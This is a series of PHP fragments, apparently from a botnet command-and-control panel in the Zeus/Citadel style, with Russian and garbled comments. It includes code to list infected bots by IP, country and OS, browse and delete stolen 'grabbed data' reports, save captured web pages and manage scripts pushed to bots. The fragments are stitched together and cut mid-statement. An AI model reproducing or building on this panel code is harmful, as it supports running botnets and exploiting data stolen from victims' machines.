if (mysqlQueryEx('botnet_list', 'DELETE FROM `botnet_list` WHERE ' . $sqlBlist)) { $t = str_replace('{TEXT}', sprintf(LNG_BA_REMOVE_REMOVED, @mysql_affected_rows()), THEME_STRING_SUCCESS); } else { $t = str_replace('{TEXT}', mysqlErrorEx(), THEME_STRING_ERROR); } $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'botnet_list'), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $t), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END; //Удаление. if (strcmp($ba, 'removeex') === 0) { $i = 1; $rlist = listReportTables($config['mysql_db']); //Удаление из botnet_reports_*. foreach ($rlist as $table) { if (mysqlQueryEx($table, "DELETE FROM `{$table}` WHERE " . $sqlBlist)) { $t = str_replace('{TEXT}', sprintf(LNG_BA_REMOVE_REMOVED, @mysql_affected_rows()), THEME_STRING_SUCCESS); } else { $t = str_replace('{TEXT}', mysqlErrorEx(), THEME_STRING_ERROR); } $item = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($table)), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $t), $item) . THEME_LIST_ROW_END; $i++; } //Удаление файлов. $root = getDirs($config['reports_path']); if ($root !== false) { foreach ($root as $rdir) { $rdir = $config['reports_path'] . '/' . $rdir; $botnets = getDirs($rdir); if ($botnets !== false) { foreach ($botnets as $botnet) { $botnet = $rdir . '/' . $botnet; $bots = getDirs($botnet);
function listCountries($name, $query) { $data = str_replace('{WIDTH}', COUNTRYLIST_WIDTH . 'px', THEME_LIST_BEGIN); $r = mysqlQueryEx('botnet_list', 'SELECT `country`, COUNT(`country`) FROM `botnet_list` WHERE ' . $query . ' GROUP BY BINARY `country` ORDER BY COUNT(`country`) DESC, `country` ASC'); if ($r && @mysql_affected_rows() > 0) { //RЎRѕSЃS, P ° RІR "SЏRμRј SЃRїReSЃRѕRє. $count = 0; $i = 0; $list = ''; while ($m = mysql_fetch_row($r)) { $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($m[0])), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('8em', numberFormatAsInt($m[1])), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END; $count += $m[1]; $i++; } //P-P ° RіRѕR "RѕRІRѕRє $data .= str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, sprintf($name, numberFormatAsInt($count))), THEME_LIST_TITLE) . $list; } else { $data .= str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf($name, 0)), THEME_LIST_TITLE) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, $r ? LNG_STATS_COUNTRYLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } return $data . THEME_LIST_END; }
httpNoCacheHeaders(); header('Content-Type: text/plain; charset=utf-8'); echo ""; //UTF8 BOM $nc = $filter['nonames']; foreach ($rlist as $t) { $v = intval(substr($t, -6)); if ($v >= $filter['date1'] && $v <= $filter['date2']) { $lastdata = array_fill(0, 16, 0); //Заголовок даты. echo str_repeat('=', REPEAT_SIZE) . ' ' . gmdate(LNG_FORMAT_DATE, gmmktime(0, 0, 0, substr($t, -4, 2), substr($t, -2, 2), substr($t, -6, 2) + 2000)) . ' ' . str_repeat('=', REPEAT_SIZE) . "\r\n"; flush(); //Запрос. //0 //1 //2 //3 //4 //5 //6 //7 //8 //9 //10 //11 //12 //13 //14 $r = mysqlQueryEx($t, $q = 'SELECT bot_id, botnet, bot_version, os_version, language_id, time_system, time_localbias, time_tick, rtime, country, ipv4, process_name, process_info, path_source, type,' . 'LENGTH(context), context FROM ' . $t . ' `t` ' . $query1 . $query2); if (!$r) { echo mysqlErrorEx(); } else { if (mysql_affected_rows() == 0) { echo LNG_REPORTS_DATE_NOREPORTS; } else { while ($m = mysql_fetch_row($r)) { if ($nc !== 1) { $hdr = ''; if (strcmp($lastdata[0], $m[0]) !== 0) { $lastdata = array_fill(0, 16, 0); $hdr .= str_pad(LNG_REPORTS_VIEW_BOTID, HEADER_PAD) . ($lastdata[0] = $m[0]) . "\r\n"; } if (strcmp($lastdata[1], $m[1]) !== 0) { $hdr .= str_pad(LNG_REPORTS_VIEW_BOTNET, HEADER_PAD) . ($lastdata[1] = $m[1]) . "\r\n"; } if ($lastdata[2] !== $m[2]) {
$pageList = ''; $botsCount = 0; //Запрос 1. $r = mysqlQueryEx('botnet_list', 'SELECT COUNT(*) FROM `botnet_list` ' . $query1); if ($mt = @mysql_fetch_row($r)) { //Создание списка страниц. if (($pageCount = ceil($mt[0] / BOTS_PER_PAGE)) > 1) { $pageList = THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . showPageList($pageCount, $curPage, 'return changePage({P})') . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END; } $botsCount = $mt[0]; } //Запрос 2. $botsList = ''; $offset = ($curPage - 1) * BOTS_PER_PAGE; if (!$r || !($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `botnet`, `bot_version`, LOCATE(`ipv4`, `ipv4_list`), `ipv4`, `country`, `rtime_online`, IF(`rtime_last`>=' . ONLINE_TIME_MIN . ', 1, 0), `net_latency`, `comment` FROM `botnet_list` ' . $query2 . ' LIMIT ' . $offset . ', ' . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) { $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $i = 0; while ($mt = @mysql_fetch_row($r)) { //IPv4. $ipv4 = binaryIpToString($mt[4]); //Метка NAT. if ($mt[3] == 0) { $ipv4 .= '*'; } $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1; $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1; $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END; $i++; }
die; } define('OSLIST_WIDTH', 500); //Ширина колонки define('STAT_WIDTH', '1%'); //Ширина колонки статистики. //Текущий ботнет. define('CURRENT_BOTNET', !empty($_GET['botnet']) ? $_GET['botnet'] : ''); /////////////////////////////////////////////////////////////////////////////////////////////////// // Вывод общей информации. /////////////////////////////////////////////////////////////////////////////////////////////////// //Получем список OC. $osList = ''; $query = CURRENT_BOTNET == '' ? '' : 'WHERE `botnet`=\'' . addslashes(CURRENT_BOTNET) . '\' '; if (($r = mysqlQueryEx('botnet_list', "SELECT `os_version`, COUNT(`os_version`) FROM `botnet_list` {$query}GROUP BY `os_version`")) && mysql_affected_rows() > 0) { $list = array(); while ($mt = @mysql_fetch_row($r)) { @($list[osDataToString($mt[0])] += $mt[1]); } arsort($list); $i = 0; foreach ($list as $name => $count) { $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($name)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($count)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END; $i++; } } else { $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $r ? LNG_STATS_OSLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } ThemeBegin(LNG_STATS, 0, 0, 0); echo str_replace('{WIDTH}', OSLIST_WIDTH . 'px', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_TOTAL_INFO . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . $osList . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END; ThemeEnd();
id, extern_id, name, flag_enabled, send_limit, time_created FROM botnet_scripts ORDER BY time_created ASC LIMIT ' . $PAGER->sql_limit[0] . ' , ' . $PAGER->sql_limit[1] . ' ;')) || @mysql_affected_rows() === 0) { $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $PAGER->total(mysql_result(mysql_query('SELECT FOUND_ROWS();'), 0, 0)); for ($i = 0; ($mt = @mysql_fetch_row($r)) !== false; $i++) { if (!($rx = mysqlQueryEx('botnet_scripts_stat', "SELECT SUM(IF(type=1, 1, 0)), SUM(IF(type=2, 1, 0)), SUM(IF(type>2, 1, 0)) FROM botnet_scripts_stat WHERE extern_id='" . addslashes($mt[1]) . "'"))) { $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $mx = @mysql_fetch_row($rx); $theme_text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; $theme_num = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1; $url_edit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&view=' . $mt[0], strlen($mt[2]) > 0 ? htmlEntitiesEx($mt[2]) : '-'), THEME_LIST_ANCHOR); $url_status = $mt[3] > 0 ? LNG_BOTNET_STATUS_ENABLED : LNG_BOTNET_STATUS_DISABLED; if ($_allow_edit) { $url_status = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&status=' . $mt[0] . '&enable=' . ($mt[3] > 0 ? 0 : 1), $url_status), THEME_LIST_ANCHOR); } $list .= THEME_LIST_ROW_BEGIN; if ($_allow_edit) { $list .= str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('scripts[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1); } $list .= str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_edit), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_status), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $mt[5]))), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt($mt[4])), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[0]) ? $mx[0] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[1]) ? $mx[1] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[2]) ? $mx[2] : 0)), $theme_num) . THEME_LIST_ROW_END; }
function ThemeMySQLError() { themeSmall('MySQL error', mysqlErrorEx(), 0, 0, 0); die; }
} else { if (strcmp($_POST['pass1'], $_POST['pass2']) !== 0) { $errors[] = LNG_SYS_PASSWORD_E2; } else { if ($l < 6 || $l > 64) { $errors[] = sprintf(LNG_SYS_PASSWORD_E3, 6, 64); } else { $q .= ", pass='******'pass1'])) . "'"; } } } } //Сохранение параметров. if (strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 && count($errors) == 0) { if (!mysqlQueryEx('cp_users', "UPDATE cp_users SET {$q} WHERE id='{$userData['id']}' LIMIT 1")) { $errors[] = mysqlErrorEx(); } else { header('Location: ' . QUERY_STRING . '&u=1'); die; } } /////////////////////////////////////////////////////////////////////////////////////////////////// // Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// //Заполнение списков. $languages = ''; foreach ($llist as $k => $v) { $languages .= str_replace(array('{VALUE}', '{TEXT}'), array($k, htmlEntitiesEx($v)), strcasecmp($language, $k) === 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM); } $screenshotFormats = ''; foreach ($screenshotTypes as $k => $v) {
<?php error_reporting(0); ini_set("display_errors", false); ini_set("log_errors", false); /**/ define('__CP__', 1); if (!@(include_once 'jr_new_config.php')) { die('Hello! How are you?'); } require_once $config['system_path'] . '/global.php'; if (!connectToDb()) { die(mysqlErrorEx()); } $tbl = 'botnet_reports_' . (int) $_GET['t']; $r = mysqlQueryEx($tbl, "SELECT context FROM {$tbl} WHERE {$tbl}.id='" . addslashes($_GET['id']) . "' LIMIT 1"); if (!$r) { ThemeMySQLError(); } if (@mysql_affected_rows() != 1 || !($m = @mysql_fetch_row($r))) { ThemeFatalError(LNG_REPORTS_VIEW_NOT_EXISTS); } $lines = explode("\n", $m[0]); $title = trim($lines[0]); //save the html page to folder if (isset($_GET['save']) && $_GET['save'] == "1") { if (substr($title, 0, strlen("Grabbed data from:")) == "Grabbed data from:") { $title = trim(substr($title, strlen("Grabbed data from:"), strlen($title))); } $url = parse_url($title); if (!is_dir("jr_html_pages")) {